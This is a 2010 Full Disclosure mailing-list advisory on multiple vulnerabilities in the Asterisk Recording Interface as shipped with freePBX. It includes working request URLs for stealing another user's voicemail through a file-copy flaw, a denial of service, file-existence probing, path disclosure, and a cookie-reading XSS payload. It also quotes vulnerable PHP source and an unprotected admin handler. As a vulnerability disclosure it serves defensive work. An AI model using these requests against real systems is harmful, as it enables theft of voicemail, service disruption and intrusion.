Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Asterisk Recording Interface (freePBX as example) Multiple Vulnerabilities
From: Tyler Borland <tborland1 () gmail com>
Date: Mon, 12 Jul 2010 16:36:22 -0400

Found By:   TurboBorland
Email:      tborland1 () gmail com
Software:   Asterisk Recording Interface
Date Found: 07/01/2010
Ethical Disclosure:  Site down, no other location for project, author
can not be found, no one to get in touch with.  Submission.
Vulnerabilities:  LFI (steal voicemail (only need to supply userid),
discover services, discover kernel, DoS), full path disclosure,
administrative CSRF, and reflective XSS


The asterisk recording interface seems to have multiple
vulnerabilities.  I'm sure some of these can be expanded upon to be
much greater than they are currently, however little time has made it
so that others can have fun with the exploit(s).  Some of these are
looked at with the most popular distro (as far as I'm aware) using the
ARI, freePBX.

The LFI I didn't know exactly how to classify.  You are pulling files
from one location to the other, but can't really grab them unless
they're a valid extension to download.  I guess it'd be classified as
remote file move?  Whatever, semantics semantics.

The first, local file inclusion.
Target:  voicemail.module
Example exploit:
DoS -> 
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=/var/www/recordings/index.php
Steal Voicemails ->
http://10.0.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=INBOX&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=%2Fvar%2Fspool%2Fasterisk%2Fvoicemail%2Fhouston%2F2625%2FINBOX%2Fmsg0000.txt

+Steal voicemails:
By looking at the data sent out, or the html, you can glean the info
to start building the selected7 LFI.  As you see, mailbox_rx includes
the current directory and current userid to receive the file.  Next,
/var/spool/asterisk/voicemail is the default location for this
install.  We can see this by looking at the global variable of
$ASTERISK_VOICEMAIL_PATH.  However, from a remote point of view, that
doesn't help (keep reading below for an FPD on this directory).  I
don't see many people changing this location.  So we should be pretty
safe.
The last item (besides userid, which can be gleaned a multitude of
ways), is the added extension folder.  You can see we have another
folder.  Well, thanks to error messages, we can find this path:
if (is_dir($path_rx)) {

      $lastNum = -1;
      $lastNumLen = 4;

      $dh = opendir($path_rx);
      while (false != ($filename = readdir($dh))) {
        if($filename!="." && $filename!="..") {

          $msg_path = $path_rx;
          $msg_path = appendPath($msg_path,$filename);
          if (is_file($msg_path)) {
            $path_parts = pathinfo($msg_path);
            list($name,$ext) = split("\.",$path_parts['basename'],2);
            $num = preg_replace("/[a-zA-Z]/",'', $name);
            if ($num > $lastNum) {
              $lastNum = $num;
              $lastNumLen = strlen($lastNum);
            }
          }
        }
      }
    }
    else {
      $_SESSION['ari_error'] = sprintf(_("Could not create mailbox
folder %s on the server"),$folder_rx);
      return;
    }

And:
    // recieving path
    $paths = split(';',$ASTERISK_VOICEMAIL_PATH);
    $path_rx = appendPath($paths[0],$context_rx);
So if we provide a directory in selected7 that does not exist, we'll
get a nice error revealing the remaining pieces of the path to us
(unless you just skipped to the above).

Finally, what you came to read.  The selected file is only checked to
make sure it has appropriate permissions.  However, this is only
checked if the webserver has appropriate permissions to it.  It is not
checked if the currently logged in user is the one sending the file to
the other location:


$dst = appendPath($path_rx,$folder_rx);
            if (is_writable($src) && is_writable($path_rx)) {

              $perm = fileperms($src);
              $uid = fileowner($src);
              $gid = filegroup($src);

              copy($src,$dst);


+Denial of Service:
File: voicemail.module
Sample: 
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/var/www/recordings/index.php
The problem here is source is not checked, so we can grab any file as
long as the webserver (or whatever user the file is run as, I say
webserver as a default) has permissions to it.

foreach($files as $key => $path) {

      // get file parts for search
      $path_parts = pathinfo($path);
      $path = $path_parts['dirname'];
      $path = fixPathSlash($path);
      list($name,$ext) = split("\.",$path_parts['basename']);
      if (is_dir($path)) {

        $lastNum++;
        $hdl = opendir($path);
        while ($fn = readdir($hdl)) {
          if (preg_match("/" . $name . "/",$fn)) {
            $src = $path . $fn;
            $path_parts = pathinfo($src);
            //fix for Serge Mankovski's "Voicemail RSS"
            //split file basename into two pieces at the first '.'
            //so that files like
msg0000.7025f35d463ebbafa101db8a88c71b681aa8443d.mp3
            //don't get clobbered by preg_replace() of digits
            list($name,$ext) = split("\.",$path_parts['basename'],2);
            $folder_rx = preg_replace("/\d+/",sprintf("%0" .
$lastNumLen . "d",$lastNum),$name) . "." . $ext;
            $dst = appendPath($path_rx,$folder_rx);
            if (is_writable($src) && is_writable($path_rx)) {

              $perm = fileperms($src);
              $uid = fileowner($src);
              $gid = filegroup($src);

              copy($src,$dst);


We created a DoS with the sample by taking the index.php page and
moving it over to my inbox.  Which makes the ARI completely unusable
until restored.



+Check if file/directory exist and check for valid kernel version:
File: voicemail.module
Example:  
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/etc/exim4

As long as the file exists, but the webserver does not have permission
to it, it will display an error on is_dir and is_file.  If it is not a
file, no permission denied should appear.  We can use this to map
other services that may be hosted on the box.
*Paul Scott noted that we could use this to fingerprint which kernel
version the host is running.
Keep in mind, these are all going to be case sensitive.






+Full Path Disclosure through preg_match:
File:  voicemail.module
Example:  http://10.10.10.10/recordings/index.php?m=voicemail&f=display&q[]=&order=calldate&sort=asc
Setting aside the above full path disclosure, there's another one that
will disclose where the full location of the webserver's files.
if ($q) {

            $found = 0;

            if (preg_match("/" . $q . "/", $origmailbox) ||
                  preg_match("/" . $q . "/", $callerid) ||
                  preg_match("/" . $q . "/", $date) ||
                  preg_match("/" . $q . "/", $time)) {
              $found = 1;
            }
          }





+Administrative CSRF:
File: page.ampusers.php
$action = isset($_REQUEST['action'])?$_REQUEST['action']:'';

switch ($action) {
        case "addampuser":
                core_ampusers_add($username, $password, $extension_low,
$extension_high, $deptname, $sections);
                //indicate 'need reload' link in footer.php
                needreload();
                redirect_standard();
        break;
        case "editampuser":
                // Check to make sure the hidden var is sane, and that they haven't
changed the password field
                if (strlen($form_password_sha1)==40 && $password == "******") {
                        // Password unchanged
                        core_ampusers_del($userdisplay);
                        core_ampusers_add($username, $form_password_sha1, $extension_low,
$extension_high, $deptname, $sections);
                } elseif ($password != "******") {
                        // Password has been changed
                        core_ampusers_del($userdisplay);
                        core_ampusers_add($username, $password, $extension_low,
$extension_high, $deptname, $sections);
                }
                //indicate 'need reload' link in footer.php
                needreload();
                redirect_standard('userdisplay');
        break;
        case "delampuser":
                core_ampusers_del($userdisplay);
                //indicate 'need reload' link in footer.php
                needreload();
                $userdisplay = ""; // go "add" screen
                redirect_standard();
        break;
}

?>

<tr>
                                <td>
                                        <a href=# class="info"><?php echo _("Username<span>Create a
unique username for this new user</span>")?></a>:
                                </td><td>
                                        <input type="text" size="20" name="username" value="<?php echo
$username;?>" tabindex="<?php echo ++$tabindex;?>"/>
                                </td>
                        </tr>
                        <tr>
                                <td>
                                        <a href=# class="info"><?php echo _("Password<span>Create a
password for this new user</span>")?></a>:
                                </td><td>
                                        <input type="password" size="20" name="password" value="<?php
echo $password; ?>" tabindex="<?php echo ++$tabindex;?>"/>
                                </td>
                        </tr>
                        <tr>
                                <td colspan="2">
                                        <br>
                                        <h4><?php echo _("Access Restrictions")?></h4>
                                </td>
                        </tr>
                        <tr>
                                <td>
                                        <a href=# class="info"><?php echo _("Department
Name<span>Restrict this user's view of Digital Receptionist menus and
System Recordings to only those for this department.</span>")?></a>:
                                </td><td>
                                        <input type="text" size="20" name="deptname" value="<?php echo
htmlspecialchars($deptname);?>" tabindex="<?php echo ++$tabindex;?>"/>
                                </td>
                        </tr>
                        <tr>
                                <td>
                                        <a href=# class="info"><?php echo _("Extension
Range<span>Restrict this user's view to only Extensions, Ring Groups,
and Queues within this range.</span>")?></a>:
                                </td><td>
                                        <input type="text" size="5" name="extension_low" value="<?php
echo htmlspecialchars($extension_low);?>" tabindex="<?php echo
++$tabindex;?>"/>
                                        &nbsp;to
                                        <input type="text" size="5" name="extension_high" value="<?php
echo htmlspecialchars($extension_high);?>" tabindex="<?php echo
++$tabindex;?>"/>
                                </td>
                        </tr>
                        <tr>
                                <td valign="top">
                                        <a href=# class="info"><?php echo _("Admin Access<span>Select the
Admin Sections this user should have access to.</span>")?></a>:
                                </td><td>
                                        <select multiple name="sections[]" tabindex="<?php echo ++$tabindex;?>">
                                        <option />

etc...I'm sure you get the point by these samples.  There's no place
to submit images on the application itself, you do stay logged in, but
it's not that fun because it's likely that it does require some form
of user interaction to perform.  Unless you were to have a forum
system in place on the internal network or other appropriate vectors
(images allowed in emails?).



+Reflective XSS:
File:  recording_popup.php
Example:  
http://10.10.10.10/recordings/misc/recording_popup.php?recording=whatever&date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

The recording= LFI was what I had found first.  However, after finding
that a.)  The LFI was a pita to actually do anything useful and b.)
someone else found it, I went looking for more.  The advisory had
missed the XSS in the date.  Very simple, not seemingly useful alone.
The current version of freePBX does not have recording_popup.php
(besides admin), however it is included in older versions.  The new
version of this file is called audio.php and is not vulnerable by
simply 404'ing instead of echo'ing back.  However, any ARI
implementation including this page may still be vulnerable.



Shoutz:  Thanks to Paul Scott for helping and suffering my abuse to
his voicemail project.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Asterisk Recording Interface (freePBX as example) Multiple Vulnerabilities Tyler Borland (Jul 12)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]